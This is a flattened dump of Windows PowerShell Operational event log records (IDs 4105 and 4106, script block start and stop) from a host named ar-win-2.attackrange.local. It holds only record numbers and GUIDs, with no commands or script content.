410615103150x0671618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 